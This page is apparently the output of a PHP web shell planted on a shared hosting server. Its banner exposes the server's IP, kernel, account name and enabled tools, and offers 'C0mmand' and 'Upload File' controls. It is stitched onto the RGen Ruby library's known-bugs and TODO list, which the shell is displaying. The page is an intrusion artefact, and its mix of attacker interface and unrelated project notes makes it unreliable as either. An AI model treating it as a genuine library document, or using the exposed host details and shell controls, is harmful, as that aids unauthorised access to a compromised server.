Server IP : 111.118.215.189 / Your IP : 216.73.216.153 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /proc/self/root/usr/share/ruby/vendor_ruby/puppet/vendor/rgen/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
=Known Bugs * <% expand ... :indent => 0 %> seems to change behaviour of active template not only expanded subtemplate * Ecore build in types (EString, ...) do not work in ECore instantiator, define your own EDatatype instead * ECore datatypes in RGen::ECore should use Java like instanceClassNames * overloading of transformation rules not working correctly * with \r\n in templates, empty lines appear in output * <%nl%> after <%nows%> creates no indentation (<%nl%> in another template in same file) =Major issues * XML instantiator documentation * revise builder datatypes, especially enum implementation using Enum objects as types, also revise ecore metamodel at this point * revise documentation of BuilderExtensions * further cleanup EA UML import/export - The differences between EA UML and uml13_metamodel.rb seem to be violations by EA, ArgoUML follows the standard much more closely - Enums should be instances of Enumeration class with EnumerationLiterals (UML Standard), for EA convert to Classes with stereotype "enumeration" and attributes as literals (this is what EA 7 creates when clicking on the "New Enumeration" button, EA will reference these classes as type) This is whats missing for Pragma MM generators. - Support primitive types as instances of DataType (which basically have a name) instead of tagged values (this should also be working with EA 7, the tagged values are just add on) - Support more UML metamodel features in the transformers * Model Serializer: - make "name" attribute configurable - convert chars in string into something Ruby compatible (e.g newline to \n) =Minor Issues * allow definition of templates from within regular code * indexed find in environment * XMI Instantiator fixmap: add element names to make feature names unique * no error for expand '..', :forach => (foreach misspelled) * With JRuby (1.3.1) exceptions raised in templates have a short or no backtrace * extended constraint checks (feature bounds) * class filter in RText language * root classes for RText language * command/class aliases in RText language * language variants (different root classes depending on file type) * reference name in reference_qualifier